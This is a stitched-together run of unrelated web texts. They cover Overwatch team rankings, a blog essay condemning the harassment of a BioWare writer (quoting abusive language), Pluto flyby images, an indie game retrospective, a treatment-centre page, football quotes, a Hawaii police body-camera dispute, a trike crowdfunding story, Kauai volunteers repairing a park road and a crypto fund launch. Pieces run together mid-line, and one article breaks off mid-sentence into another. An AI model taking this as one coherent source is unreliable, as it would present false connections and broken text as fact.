As Immortals also ramp up to the Overwatch League signing window, there is a strong possibility that their roster actively improves as Contenders goes on. Immortals will be looking to sign players to the bench or even make improvements to future-proof their lineup, and Contenders is the perfect proving ground.
8th: eUnited [-]
Morte, Boombox, Kruise, sharyk, vallutaja, uNFixed. Image credit: TaKeTV
1st Contenders Season Zero EU
1st Contenders Season Zero EU Qualifier Day 1
2nd TaKeOver 2
Overall record: 19W - 2D - 3L (61W - 16L)
eUnited remain the strongest team in Europe by a considerable margin. They dominated domestic European teams at TaKeOver 2, not dropping a single map, and then blasted their way through Contenders Season Zero.
As with every team heading into Contenders Season One, it is hard to predict how a potential meta shift could affect competition. The addition of Doomfist and experimentation with tank-heavy anti-dive compositions around the world could throw a wrench in their plans.
After the roster shuffle in Europe, Misfits’ new roster with Logix, CWoosH and Zuppehw might potentially contest them for the top spot. Cloud9 have an outside chance at developing and challenging them. eUnited are a known quantity; they are the team to beat.
9th: LGD [NEW]
guxue, 130, Eileen, Shy, mg, uNdeAD. Image credit: Banana Culture
3-0 in Overwatch Premier Series 2017 Summer
Did not qualify for Nexus Cup 2017 Summer
2nd Overwatch Premier Series 2017 Spring
Overall record: 14W - 2L (Map record: 34W - 11L)
LGD did not win the largest tournament in China this spring. The team that did, 1246, are nowhere to be seen on our world rankings, despite two Chinese teams making the list in ninth and tenth.
LGD beat both 1246 and MY to the ninth spot this month based on their phenomenally consistent record throughout the Overwatch Premier Series 2017 Spring. They were unbeaten throughout the season until the Grand Final, plowing through the competition until 1246 went on their own miracle playoff run from seventh to first.
Their wins over every team in China, most of the time appearing to be considerably stronger than their opponents, make LGD a strong contender for the best Chinese team currently.
With the Overwatch Premier Series 2017 Summer currently running in Week 2, LGD find themselves 3-0 with a revenge win over 1246 2-0.
10th: Miraculous Youngster [NEW]
leave, YangX1aoLg, Lateyoung, jiqiren, zhufanjun, creed. Image credit: Banana Culture
3-0 in Overwatch Premier Series 2017 Summer
1st Nexus Cup 2017 Summer
Qualified for Nexus Cup 2017 Summer
5th Overwatch Premier Series 2017 Spring
Overall record: 14W - 5L (Map record: 33W - 17L)
The team that is right behind them in China - or possibly just edging ahead based on current form - is Miraculous Youngster. Though MY finished in fifth place for OWPS Spring, their performance in the Nexus Cup against Korean competition was incredible and they have started OWPS Summer with wins over three strong teams.
MY are most well-known for crushing RunAway along with every other Korean team in the Nexus Cup with their anti-dive composition. Utilising Reinhardt and Zarya, often alongside Reaper and McCree, MY have crafted a style that allows them to shred tanks that want to engage.
MY were previously a strong contender for the top team in China prior to OWPS Spring, but issues including roster problems resulted in them slumping during the season. They now appear to be on top form and are one of the favourites to take OWPS Summer in first place.
After over a year of being Korea’s whipping boy, China has developed its new talent and is now on the world stage to compete.
-------------------------------------
During this period the new results were from:
APEX Season 4
APEX Season 3
Overwatch Premier Series: Summer
Bigfile Battleroyal
Nexus Cup 2017 Summer
Overwatch Premier Series: Spring
Special thanks to urns for creating our series banner!Sometimes you get a situation where all the worst aspects of our current new media environment collide and form a perfect storm of hideousness. So when you take Reddit, add in a sprinkling of Twitter and stir it all with a bunch of rabid gaming fanbois you might expect something truly appalling to emerge.
Way back in the gaming Dark Ages (2006) a woman who was then a senior writer for Bioware gave an interview in which she expressed the opinion that game developers should build in an interface option that allowed players who were more interested in story and character interaction to skip the boring combat portions of the game in the same way that most story-driven games allow you to rapidly skip through all the story and dialogue in order to get back to ripping out entrails with a pike. It is a pretty inoffensive proposal, all things considered. She never says that games should be less combat-oriented, or that stories should play an even more prominent role, simply that there should be an option that allows for the gameplay preferences of a particular group.
The Sewer Opens
Fast forward to the moment when her interview is dug up and tossed into the Reddit hopper. An article labeling the woman “the cancer that is killing Bioware” set-off a firestorm of righteous indignation...er, sorry, we’re talking about Reddit here, so that is to say a torrent of unfiltered, mis-spelled, ungrammatical, profanity-laced vomit thinly disguised as language.
Completely oblivious to this shit-storm, the writer in question, Jennifer Hepler, made the classic mistake. She opened a Twitter account. And came face to face with the power of the Internet sewer pipe. A recent Gamespot article provides a useful account of what happened next. You would have thought that Hepler had proposed that everyone stop making any new games ever. A constant stream of abuse directed at Hepler’s Twitter account was matched by similar levels of abuse directed at Bioware itself for employing Hepler in the first place. Finally, a senior Bioware employee responded (again, via Twitter, surprise, surprise) in kind (i.e. she used the F-Bomb...no, not “Feminist” the other F-Bomb!). This, of course, produced an almost instant chorus of wailing: “Waaaaaaaaah! Bioware doesn’t care about its players! Waaaaaaaaaah!”
The really striking thing about this, as many others have observed, is the entirely disproportionate level of vitriol. Hepler’s proposal really shouldn’t be all that controversial. As Gamespot’s Laura Parker observed, this idea has in fact been tried before by an obscure game called LA Noire. The immediate escalation to the nuclear option is the kind of thing that the NRA trots out when someone proposes not allowing people to buy five assault rifles a day. So what is going on here?
Shame on Us?
Well, there’s the obvious. It is gamers. A while ago I wrote a piece talking about my increasingly uncomfortable sense that the vast majority of gamers are simply dicks. This was based on my addition to the venerable Sturgeon’s Law (90% of everything is crap), a supplement that I am calling Guppy’s Law (90% of people are morons). This in fact is the standard line taken by people criticizing the self-appointed guardians of gaming purity in this case: “Oh, there are jerks everywhere.”
But the specific communication channels at issue are also important. I mean, we’re talking Reddit here. Reddit is a giant, pustulent boil on the butt of humanity. It is however representative of a problem that I’ve been writing about from time to time on this blog. It’s a problem that’s been pointed out by an expanding group of people embracing everyone from literary critics (Zadie Smith) to technology designers (Jaron Lanier): that over the past couple of decades we have deliberately, artfully, painstakingly, been building a communication structure designed both to bring out the worst in ourselves and the absolute worst in others. This is the other line taken by critics of the loutish behavior: “It’s the Internets people, what do you expect?!” Not unsurprisingly, this is also the line taken by defenders of the loutish behavior: “Ha ha. It’s the Internet, get used to it Bioware.”
Tempted as I am to revert to my default settings, neither of these explanations quite cover what is happening here.
The Gamespot article takes a different tack, arguing that the controversy demonstrates the degree to which many gamers are part of a culture of entitlement, believing that they own the games the play which Parker says is a “common mistake:”
Gamers who feel this sense of entitlement fail to view the player-developer relationship as the multifaceted construct that it is. They fail to see that a relationship between an individual and a company requires a different set of guidelines, emotions, and responses to a relationship between two separate individuals. Jennifer Hepler is the consequence of that misconstrued connection. She is an individual whose attackers, angered by her suggestion that games should focus less on combat, acted on the belief that they are the only ones who can, and should, dictate how games are made and played.
Now there are a couple of obvious problems with this. Gamers in fact do own the games they purchase. Likewise, the question of ownership is a simmering source of discontent in many MMOs. In fact, it may well be a potential revolution in the making that is only being contained by publishers turning a blind-eye to assertions of player ownership (character sales) or grabbing a cut of the action by creating their own marketplaces. Gamers own their games in the same way we own the cars we purchase. But I don’t assume that I own the process that creates the car that I buy and that is the crucial difference: gamers do seem increasingly to believe they own the entire game creation process.
I think Parker is only partially right. She is focusing on a sense of entitlement that seems to be evident in the way in which people are conducting themselves online; she argues that the actual content of the vitriol is irrelevant, because no one could possibly see Hepler’s proposal as being that offensive. But as moronic as the abuse hurled at Hepler is, in its magnitude and fury it looks very much like the kind of reaction of people who feel themselves suddenly, massively threatened. So maybe it is worth actually taking a look at the content of the abuse rather than just its form.
Barbarians at the Gate
There are, I think, two sources of concern to which gamers are giving voice and you can see more civilized versions of each in the comments appended to the Gamespot article. In responding to a previous poster who had talked about how his sister might have appreciated the combat-skip button for one particular sequence in Kingdom Hearts, Meerkat456 responded:
Then tell her to go watch a let’s play. Or better yet learn how to defeat a boss. Christ, it’s Kingdom Hearts, not Dark Souls. Has Squaresoft ever released anything even resembling a difficult game? You want to talk about entitlement? That’s entitlement right there, thinking that game designers should have to put in a fast forward button because you don’t want to play a game. If you don’t want to play a game then don’t play it and if you pay $60 just for the story, then read a book. Unless you’re a complete philistine you should have a much better time of it. And guess what? You can flip past the action sequences!
This is giving voice to the fear that games are becoming more like other media and less like games; that as story seems to be playing a bigger role (measured by the huge commercial success of heavily story-driven titles like those offered by Bioware) the element of interactive gameplay will be lost. The second concern picks up on the other criticism voiced by Meerkat456 and articulates what is probably the major fear that has caused so many players to lose their bottle over this:
I think the “sense of entitlement” comes from the fact that us gamers are the people these companies made their fortune off of. We stuck by them BEFORE casuals were on the scene. We have a special relationship with them because we’ve grown up together. Now that casuals have hit the gaming scene (hard) it seems like more and more companies are catering to them instead of the older gamers. This is understandable but when companies we trust like Bioware begin “streamlining” their games it should come as no surprise to anyone that gamers are going to be hurt and angered. This does not justify or excuse the personal attacks but it does make it easier to understand. Hepler and her idea of skipping combat is part of a larger trend. This poor woman was singled out and gamers took out their years of frustration out on her. She did not deserve it but as a gamer I certainly understand the frustration and feeling of abandonment that fueled this fiasco (KontroLz85).
Yes, you saw it here folks. Someone actually offered a temperate and reasoned point of view in a comments thread! This is, however, a little less temperate than it appears and to get that sense you just have to imagine a sneer in the voice as the writer spits out that word, “casuals.” This is what it is all about: “traditional” gamers feel (and, according to this writer, have felt for some time) that their world is being invaded by casual gamers. Casual gamers, according to this view, are in point of fact not real gamers at all. Sure, they may play games, but they don’t play “real” (i.e. traditional) games and therefore their opinions shouldn’t be taken seriously. Unfortunately, traditional gamers are starting to realize that there are a lot of casual gamers. In fact, there are more casual gamers than “traditional” gamers. And that far from constituting a gaming population that is happy to stay in their own little Angry Bejeweled Plants and Zombies niche, these casual gamers are sometimes having the temerity to actually try “traditional” games. Because the “casuals” (spit!) play differently and have different gaming expectations, gaming companies are inevitably going to change the kinds of games they offer in order to accommodate the tastes of these players.
The thing is, players like KontroLz85 are partially right. Jesper Juul’s recent book A Casual Revolution looks at the explosion in casual gaming over the last few years. While the stereotype of the casual gamer is the Angry Birds player or the Wii Tennis enthusiast, Juul’s definitional criteria also incorporate games like Dance Dance Revolution, Rock Band, and the like. His book incorporates data from surveys and follow-up interviews conducted with both self-identified casual game players and developers. Now, due to Guppy’s Law you wouldn’t expect anyone involved in an internet flame war to resort to mere evidence; they are generally much too busy flinging their soiled diapers at one another. But if they had, and they turned to someone like Juul for data about the casual gaming phenomenon, they would find some surprising information.
The first thing is that “casual” gameplay of casual games by casual players is often anything but casual. Juul finds that a substantial portion of casual gamers play their casual game of choice for up to two-hours at a time, as many as nine times a week (anyone who lost an entire afternoon to Angry Birds will attest to the truth of this). With those numbers, session times and cumulative play time rivals and even exceeds that of many players of traditional videogames.
The second interesting finding, one especially pertinent to this tragic facade of a discussion, is that a surprising proportion of casual gamers are self-identified former “traditional” gamers. Did they fall out of love with “traditional” games? Not at all. They simply got a life. Or, to be more accurate, life got them. Jobs, kids, a non-gaming spouse, a mortgage, compulsory family holidays right when all the best games are being released...you get the idea. Furthermore, when they tried to get back into “traditional” games, they found that the landscape had changed. No more loading up Doom and blazing away. Now, even your single-player games are massively complicated undertakings requiring expensive hardware, player matching services, internet communication, let alone all the DRM and DLC BS that developers lard them with. So casual games are serving three distinct populations: people new to the world of gaming, people who never got into “traditional” gaming in the first place, and former “traditional” players who now have to squeeze their gaming into a complex life.
I’ve been putting scare quotes around “traditional” because although this is the term that a lot of players love to use, it is a deeply misleading term. It serves the same function as “family values” in that it is designed to represent the partisan ideology of a particular group as a universal truth. “Traditional” games are in fact all the games that people used to play (and, in fact, still do) before videogames came along: card games, board games, catch, frisbee, hop scotch, etc. The vast majority of these games were casual: easy to pick up and play for short periods, accessible to all. Juul argues that this is in fact the most revolutionary thing about the casual revolution: it is returning us to the universal accessibility of gaming in our culture:
This is the moment in which the simplicity of early video games is being rediscovered, while new flexible designs are letting video games fit into the lives of players. Video games are being reinvented, and so is our image of those who play games. This is the moment when we realize that everybody can be a video game player (p. 2).
Thus the shrill, enraged masses of “traditional” gamers are in fact a rapidly dwindling minority of hardcore gamers. And they are dwindling not by choice but simply by the harsh colliding reality of demographics and capitalism. Our population is aging; this is not news. As a result, the average age of game-players has steadily been drifting upwards and is now, according to the Entertainment Software Association, firmly ensconced in the mid-30s. But that age is also driting upward for another reason. The kinds of games beloved of the hardcore gamer are becoming increasingly expensive to produce and therefore increasingly expensive to buy. While the cultural stereotype of the rabid gamer is someone in their teens or early twenties, in fact the greatest quantity of games is purchased by people in my elderly age bracket. Because they are expensive and we have the disposable income. (This is even more true overseas; if you bleat about how expensive games are in the US, try walking into a game store downunder. Last time I was in New Zealand I thought I’d mistakenly wandered into a store where all the games were shrinkwrapped in goldleaf or included a free figurine encrusted with rare jewels).
The Revenge of the Guppy
So yes, Mr. Hardcore gamer, your gaming world is changing. Suck it up. Move on. Do what you’ve always done: look for great games, reject the crap ones, buy and praise the good ones.
Except. Except that isn’t what Mr. Hardcore gamer has spent his life doing. Mr. Hardcore gamer has spent his life purchasing mainly mediocre, re-skinned versions of the same game that he has always been playing, praising incremental variances in tried-and-true gameplay formulas as “innovative” and “revolutionary” while bleating about the need for games with greater variety and more player choice.
This brings us to the most disturbing element of the Hepler/Bioware controversy. Because there is gamer entitlement in evidence here, but it isn’t simply feelings of ownership for specific games or even for the entire game production process, as I mentioned above. The sense of entitlement is that associated with being the only ones who get to define for everyone else what counts as a real game. In that respect it is important not to look past the core idiocy that lies at the heart of this. If players were really serious about greater choice and variety in games and if they were really serious about more people enjoying games, Hepler’s proposal would be completely uncontroversial. Nothing is being taken away from the traditional hardcore play style. If you don’t want to skip through the combat options you don’t have to. Hepler’s suggestion simply broadens choice so that more people could participate in one of the core cultural activities of our age. This is a great thing.
Unless you are a hardcore gamer.
In Hardcore Land, this woman is trying to allow people to complete a game in a fashion that is not the way in which you think it should be completed. More importantly, the great evil being perpetrated by this woman, what makes her a cancer, is the very fact that she is trying to make games accessible to more people. There are many interesting ways that people play games, a massive variety of motivations, and a host of intriguing mechanisms according to which they integrate them into their lives. The least interesting has always been playing games for a cheap hit of self-empowerment. We play to feel mighty in ways that we almost never do in our real lives. We all do it, many kinds of games deliver only this kind of hit, and it can be enormous fun. But if the only reason you do something is to make you feel better about yourself (it could be gaming, it could also be drinking or playing the stockmarket or buying a BMW) then that is simply sad.
Sad, however, rules in Hardcore Land. Mr. Hardcore gamer has been strutting around in his little universe, convinced that playing games makes him cool, edgy, part of the wave of the future, a privileged elite. He hasn’t noticed of course that videogames are now a ubiquitous cultural activity but that is because he is firmly lodged in the Guppy’s Law 90%.
Now if Mr. Hardcore gamer were only sad in this way, that fact wouldn’t really be worth our notice. But Mr. Hardcore is a lot of other things as well, characteristics that were pretty obviously on display in the criticism of Hepler. Because it is pretty clear that the fact that Hepler is a woman was instrumental in the way this played out. If a senior male writer at Bioware had made this suggestion you can bet there would still be a storm of protest but it wouldn’t have taken the form that it did. You only have to look at the official Gamespot Forum thread on this controversy to see what I mean. Before you reach the end of the page you’ll see comments about Hepler’s appearance, weight, sexuality, ethnicity, among many other things.
Videogaming has been trying to clean up its public image over the last few years, to pretend that it isn’t the sink of moral turpitude that a transcript of the average Vent session during a Halo deathmatch would seem to indicate. Those of us on the academic and popular sides of game studies have been culpable in this endeavor. We have tried to pretend that gaming has gradually become more inclusive, more tolerant, more urbane. Much as I admire the work of Jane McGonigal, for example, one of the things that drives me nuts about her book is the operative assumption that all gamers are caring people just waiting for their opportunity to go out and save the real world. It makes me wonder what kind of bubble she is living in that she has never encountered the kind of gamer that feels perfectly comfortable calling Hepler a cunt for voicing an opinion contrary to his own.
It is high time we stopped pretending that the Internet is somehow a world apart, that it is just a place where people come to vent and rant in ways that have no connection with their real selves out in the world. In fact, it is high time we stopped pretending that the world is a world apart; part of the reason this crap exists is because of the cheerful insistence, especially among the twenty-somethings, that we’re all “post-feminist” and “post-racial;” when they encounter undeniable evidence of misogyny and racism they don’t call it out because a) it isn’t supposed to exist, and b) we’re all supposed to get along. But when Mel Gibson gets shit-faced and starts spouting anti-semitic claptrap we don’t (unless our delusory sense of the world knows no bounds) assume that those sentiments aren’t somehow connected to the “real” sober Mel. When your best friend has a few too many drinks one night and suddenly confesses her love for you, you don’t assume that those feelings have disappeared when she sobers up (although attempting to do so may ensure a lot of entertaining awkwardness for others around you).
So, Mr. Hardcore gamer, there is a reason why in the future you will not and should not get to legislate what games the rest of us get to play and how we play them. It is because you have continually proven yourself to be a racist, misogynist, ethnically stereotyping homophobe (I am trying desperately not to conform to Godwin’s Law here). If the rise of casual gaming and the invasion of the hardcore world by “casuals” is the asteroid that will ensure the dinsosaurian extinction of your kind, then I for one am quite happy about that.
AdvertisementsIt's been seven weeks since the first stunning images were released from the New Horizons team at Johns Hopkins University as the intrepid spacecraft has been downlinking technical and instrumental data as it speeds off into the vast Kuiper Belt. This week started the massive dumping of gigagbytes of photo data captured of the Pluto system during its July 14 flyby, representing more than 90 percent of the spacecraft's digitally stored treasure chest.
The intensive, exhaustively slow process of downlinking this invaluable data is expected to take nearly a year to complete as scientists sift through the wealth of images for processing. It appears the wait was well worth it, as this latest series of newly released Pluto pics proves.
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“This is what we came for—these images, spectra and other data types that are going to help us understand the origin and the evolution of the Pluto system for the first time,” said New Horizons Principal Investigator Alan Stern. “And what’s coming is not just the remaining 95 percent of the data that’s still aboard the spacecraft—it’s the best datasets, the highest-resolution images and spectra, the most important atmospheric datasets, and more. It’s a treasure trove. ”
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Check out the rest of this fresh wave of sensational close-up insert images of Pluto's icy Sputnik Planum plains and the dark, mysterious Cthulhu Regio from a vantage point soaring 1,100 miles about the dwarf planet's cratered, crackled surface. Are you impressed with NASA's phoned-home photos deilvered from 3 billion miles away?
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(Via NASA/New Horizons)There aren’t many giant monster pseudo-simulators out there, or at least, any that are popular. There was a Godzilla game that came out earlier this year which arrived with little-or-no fanfare and some dismal sales numbers to match. The ‘King of Monsters’ never got the game that would truly do him justice. Thankfully, there is still Omegalodon from 2012. It was an unusual game which required soldiers and civilians alike to defend their city from this “Sharkzilla” type monster and kill him before he could destroy the city’s nuclear power plant which is in itself a subtle homage to the 1954 Godzilla movie, which was a cautionary tale about the misuse of nuclear power.
As it stands, Omegalodon has approximately eight players as of this morning. Because I couldn’t join either of the two servers that were playing the game as I was getting an error stating I had to join a server running the current version 1.6, I could only presume that those servers are running pirated versions of Omegalodon. Unless Desura allows you to roll back game patches, and run them from that previous version. Around the time, it came out on Steam, and maybe when it was still on Desura, it was booming thanks to YouTubers covering the game and giving it plenty of attention. The first video I saw of the game was NerdCubed’s gameplay of it which made me excited for the game because when I would finally get a PC, this would be on the top of my “to play” list. It looked like such fun to play.
Back when the game was popular, you’d have moments like these.
The vehicles handled in such an odd way as they would be flung around the map, crashing into vehicles, buildings and other players which would result in brilliant and catastrophic moments where you’d see everything explode. Even if you were on the losing team, it was still hilarious to try and control the plane in such a way that would actually mean that you would survive long enough to bomb the eponymous fish monster. However, you’d end up bombing another player and then crashing into a skyscraper. For me, £6.99 seemed like damn good value for such a game.
So what happened to Omegalodon? One of the first big problems with the game is that it hasn’t been updated in nearly three years. I tried to find out why and when I looked on the Steam discussion boards for the game, the developer commented on one of its own posts “The game is complete. I will still fix bugs if you report them.” I only wish there wasn’t just one game mode because having so little to do in a game with as much potential as Omegalodon is a shameful waste. You could have a fish monster deathmatch game mode or a game mode where you have a fish monster on either team and the objective is to destroy the enemy’s base, with humans supporting the fish monsters. If we get the word out about this game, we can increase the player base again and hopefully get North of Earth to update the game or maybe even give us a sequel.
Omegalodon is available for only £6.99 on Steam, the link for the game will be provided below!
http://store.steampowered.com/app/248350/
AdvertisementsOutpatient Treatment for Substance Use, Eating Disorders, and Mental Health
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Individual, Couples, Family and Group Counseling
Counseling is an integral part of recovery, and Crossroads offers individual, couples, family and group counseling sessions for men and women. Individual counseling allows clients to focus more closely on personal issues they may be struggling with that are not fully explored in a group setting. Couples and family counseling helps clients and their loved ones to work through the impact that substance use or mental health issues have had on their relationships. They can begin rebuilding trust, improving communication and moving forward in a healthier manner. Group counseling brings men or women together to share and learn from one another as they grow in their recovery and develop strategies to prevent relapse. Clients may engage in any number of groups depending on their needs.
In addition to the residential treatment program, Crossroads also offers an intensive outpatient treatment program for eating disorders. This program is ideal for women who are medically stable but still require clinical support and structure to maintain the gains they have achieved in a higher level of care such as a residential program. Groups meet Monday through Friday for three hours per day and work closely with master level clinicians and dietitians.
Just like the residential program, it provides women with the support they need for managing eating disorders in a structured manner. They engage in medical nutritional therapy as well as group sessions using DBT, CBT, and ACT approaches. They are able to continue building bonds with other women in the program in a safe space where they can explore any obstacles they have faced and celebrate achievements.
To help women build their confidence and healthy relationship with food, they are asked to prepare and bring their own lunch to eat with the group. The clinician and dietician will review their meal and ensure that it aligns with their individual needs and meal plan, and they eat together and discuss ongoing recovery strategies.
Substance Use Intensive Outpatient Program (IOP)
Crossroads’ IOP is a structured group therapy option that provides substance abuse treatment 3-5 days per week at 3 hours a day on-site with direct contact with and access to a Master's level, licensed clinicians. Our Women’s only IOP in our Scarborough location provides Gender-specific treatment issues that are explored with an emphasis on addiction education, co-occurring mental health issues, coping skills, relapse prevention, family education and the necessary tools for recovery.
In addition to our women’s only IOP we offer the Matrix model IOP for men and women in our Scarborough and Kennebunk locations. The Matrix model IOP is offered 3 days a week, 3 hours a day with direct access to a Master’s level, licensed clinician.
The Matrix Model Intensive Outpatient Treatment Program includes several key components that complement each other and combine to produce an integrated outpatient treatment experience that works. Critical elements of the program include:
Early Recovery Groups
Relapse Prevention Groups
Family Education Groups
Individual Sessions
Social Support Groups
12-Step Meetings
Driver Education and Evaluation Programs – DEEP
Operating Under the Influence (OUI) is a serious offense in Maine and requires those cited to complete a Driver Education and Evaluation Program (DEEP) as part of the Impaired Driving Program. Crossroads is certified to provide evaluation and treatment to men or women who receive an OUI. Participants are educated about the risks of substance use and impaired driving and evaluated to determine whether they may have a substance use disorder. If they do, we provide counseling and treatment to assist them in overcoming these issues and reducing their risk of future OUIs and addiction relapse. The DEEP program is administered by the Office of Substance Abuse, Department of Health and Human Services (DHHS) under the State of Maine Legislature.
Enroll in Treatment at Crossroads
Outpatient treatment for substance use and mental health is a strong component of ongoing recovery and provides the continued support that many clients need.
Contact Crossroads today to learn more about how we can help you live a healthier life, prevent relapse and remember who you wanted to be.Although he’s in the form of his tree-swinging, banana eating life, Arsene Wenger says his team won’t pay too much attention to Gareth Bale and will, instead, focus on their own game.
It’s no surprise, the boss has always sent his team out to first and foremost to do their own stuff, rather than trying to stop specific opponents. You may debate the rights and wrongs of it but nobody should be under any illusions that this is how he operates.
“We don’t plan for anybody,” he said at today’s press conference. “It is always the same – focus on our strengths and forget about your opponent.
“There is nobody special that you least like to face. All players have different qualities. What is important when you are a manager is that you are focused, that hasn’t changed over the last 15 years. You always make sure your team is at its best, prepares well and focuses on playing the football that we love.
“What is important before a game like that is just to focus on our game and forget all the rest.”
When asked about the quality of the Welshman, Wenger delivered a classic, withing response about a team that has never finished ahead of him in the league.
“Spurs have had all these great players,” he said. “They had Ginola before. They had … Anderton.”
At which point a tumbleweed blew across his desk at the training ground.
Anderton, indeed.Hawaii’s statewide police union wants Kauai officers to turn off their body-worn cameras and put them back on the shelf, at least temporarily.
The State of Hawaii Organization of Police Officers filed a complaint last week with the state Labor Relations Board saying that the union should have had final say on Kauai’s body camera policy since it affects work conditions for its membership.
According to the complaint, SHOPO believes that the use of body cameras should have been a point of negotiation under its current collective bargaining agreement.
Nathan Eagle/Civil Beat
The union has asked the Labor Relations Board to issue a cease and desist order until those negotiations over a body cameras have been completed. Union officials are also seeking reimbursement of legal fees and other costs.
Here’s what the union had to say in its complaint:
Body-Worn Cameras constitute a condition of work, and are thus, necessarily a subject of mandatory bargaining that requires the mutual consent of both parties. The Employer’s purported camera policy requires police officers to wear the Body-Worn Cameras throughout their shift, requiring minute by minute decisions on whether to activate or not, consider privacy issues, emergencies, etc., and subjects them to disciplinary action for violations of working requirements associated with the usage of the cameras.
The policy also dictates when and where the camera is required to be used and not used; when the camera is to be turned |
, unfortunately, a failing nervous system. So, I decided to hike every trail in the Great Smoky Mountains National Park," he said.
Cowan, 31, said he thought that after that his adventuring days would be over, but then he returned to cycling, a pastime he enjoyed when he was younger.
"In order to maintain my leg strength, I started riding a stationary recumbent bike. It wasn't long before I decided to give a real recumbent a try. For this I turned to Outrider USA. It has been nearly two years since I first rode my trike and I've been riding ever since," Cowan said. "My electric assist recumbent trike gives me my active life back. I can go on walks with my family, rides with other cyclists, short trail "hikes," bring my daughter to the park and festivals. Without it, I'd be limited to only what I could do in a wheelchair."
During the first week of April, Cowan will be one of the people who will get to test-drive the second prototype of the Horizon. Cowan said that if the project gets funded, it could be life-changing.
"I know there are others out there just like me: An unforeseen unfortunate event has altered their lives for the worst and here is a chance for theme to get a piece of their life back," he said.
Lee said people like Cowan and Wenner continue to inspire him with the Kickstarter campaign.
"I've never worked more intimately and more intensely on anything in my life. This is absolutely the pinnacle of all of my efforts of the past three years of working with this company," Lee said.
Three days after the campaign launched, Lee said he couldn't sleep. It was 3 a.m. and he was pacing the floors. But then, his phone went off. It was an alert telling him that the project had another backer and they had left a comment.
"It was a woman from New Zealand and she said something like, 'I've pledged what I can to the campaign. I really hope you guys are successful. This has to come to production. I have severe back issues and this is something that would let me get out and ride again.' That was exactly what I needed in that moment," Lee said. "I needed to know there were people out there who believed in it and who could really benefit from it."
After he described the technical capabilities of the Horizon and what it could mean for people around the world — from quadriplegics like Wenner to people with ALS like Cowan to returning veterans — Lee came to a conclusion. As he stood next to a second prototype of the Horizon in the shop he said, "This campaign has to be successful."
To donate or to find out more information about the Horizon, visit http://kck.st/1r8qTze.
___
Reach Byrd at caitlin.byrd@blueridgenow.com or 828-694-7881.Anyone who thinks we need government to build and maintain roads may want to consider Kauai residents don’t wait for state to repair road:
Their livelihood was being threatened, and they were tired of waiting for government help, so business owners and residents on Hawaii’s Kauai island pulled together and completed a $4 million repair job to a state park — for free.
Polihale State Park has been closed since severe flooding destroyed an access road to the park and damaged facilities in December.
The state Department of Land and Natural Resources had estimated that the damage would cost $4 million to fix, money the agency doesn’t have, according to a news release from department Chairwoman Laura Thielen.
“It would not have been open this summer, and it probably wouldn’t be open next summer,” said Bruce Pleas, a local surfer who helped organize the volunteers. “They said it would probably take two years. And with the way they are cutting funds, we felt like they’d never get the money to fix it.”
And if the repairs weren’t made, some business owners faced the possibility of having to shut down.
Ivan Slack, co-owner of Napali Kayak, said his company relies solely on revenue from kayak tours and needs the state park to be open to operate. The company jumped in and donated resources because it knew that without the repairs, Napali Kayak would be in financial trouble.
“If the park is not open, it would be extreme for us, to say the least,” he said. “Bankruptcy would be imminent. How many years can you be expected to continue operating, owning 15-passenger vans, $2 million in insurance and a staff? For us, it was crucial, and our survival was dependent on it. That park is the key to the sheer survival of the business.”
So Slack, other business owners and residents made the decision not to sit on their hands and wait for state money that many expected would never come. Instead, they pulled together machinery and manpower and hit the ground running March 23. Watch the volunteers repairing the road »
And after only eight days, all of the repairs were done, Pleas said. It was a shockingly quick fix to a problem that may have taken much longer if they waited for state money to funnel in.
“We can wait around for the state or federal government to make this move, or we can go out and do our part,” Slack said. “Just like everyone’s sitting around waiting for a stimulus check, we were waiting for this but decided we couldn’t wait anymore.”
Thielen has been waiting, too. She wants the legislature to approve her Recreation Renaissance project, a $240 million booster shot to help fix parks across the state. Without it, at least five state parks may be forced to close, and there would be no emergency repair money to fix Polihale State Park.
“We shouldn’t have to do this, but when it gets to a state level, it just gets so bureaucratic, something that took us eight days would have taken them years,” said Troy Martin of Martin Steel, who donated machinery and steel for the repairs. “So we got together — the community — and we got it done.” See photos of the volunteers working to repair the road »
The park is a fixture on the west side of the island and a favorite spot for many in the area, but it’s also a hub for tourists.
“Tourism is our lifeblood. It’s what pays all of our bills,” Slack said. “The money that pours in comes from tourism is really an important factor for everyone here in Hawaii, and it’s such an important time to encourage tourism.”
And it’s an important time to keep jobs, which were threatened if the park had to remain closed. In February, Kauai‘s unemployment rate was at 9.1 percent, up from 2.8 percent during the same time in 2008, according to Hawaii’s Department of Labor.
“I think it’s crucial to say the doors are open, everyone is ready,” Slack said. “So when one of the most important parks in Hawaii is closed, it really changes things.”
Now, because of their hard work, volunteers hope they’ll be ready to send that positive message — right in time for the tourist season.
Slack said he likes to have business up and running by April 15, and the season gets busy around May 1.
The business owners and residents are hopeful that their generous contributions in time and resources mean the park should officially open soon. Pleas says they have only to get the new bridge certified and do minor cleanup.
“A lot of people are quietly sitting by, waiting for it to open,” Slack said. “This really this is one of the nicest parks in the state and in all of Hawaii, in the entire state parks department. Now, hopefully, those people get their wish.”Diversified indexed fund based on cryptocurrency for Europeans
“Europe’s first diversified indexed fund based on cryptocurrency is launching from Zug Valley. It is to be registered via FINMA (Swiss Financial Market Supervisory Authority). It personifies the first and initial investment vehicle for digital assets in the European market”
Index provider renowned for investing in digital currency can calculate cryptocurrency index. These providers are forward to invest in largest crypto coins by liquidity and market capitalizations. This includes Bitcoin, Ether, Ripple and other digital coins.
This process facilities high level of index’s diversification and reduce the volatility of funds for investors. Whilst assuming and ensuring the emergence and growth rate of new currency outpace the security markets and traditional equities.
Jan Brzezek, CEO of cryptofund AG stated the differences among the predecessors and a new fund. It fails to get approval from regulators.
We recognized the growing demand of qualified investors for a regulated and transparent gateway to cryptocurrencies and realized that we need a proven and recognized legal framework allowing qualified investors to invest in cryptocurrencies. Unlike the Winkelvoss-ETF, which was rejected by the SEC, we use the regulated and proven Swiss fund structure according to KAG [Swiss Collective Investment Schemes Act], where the asset manager, the fund management company and the custodian bank are legally separate from each other. The Fund will be highly diversified and will not list on an exchange and exclusively target qualified investors.
Cameron and Tyler Winklevoss – Founder of Gemini Exchange was launching the first ever Bitcoin exchange traded fund (ETF). But in March 2017, SEC (securities and exchange commission) has rejected an application. Though, the matter has again reopened by SEC for public commentary. However, the securities and exchange commission is now looking for a similar kind application of an Ether -based ETF proposed by Etherlndex Ether Trust.
Dr.Tobias Reichmuth – Chairan of the board for Crypto Fund AG stated that
“Private and institutional investors alike show a keen interest for cryptocurrencies as a deflationary value storage medium independent of central banks. Access via a regulated vehicle, to execution and safe storage were so far missing. The Cryptocurrency Fund™ will be the first regulatory fund globally which provides a safe and easy access to the rapidly growing cryptocurrency world.”
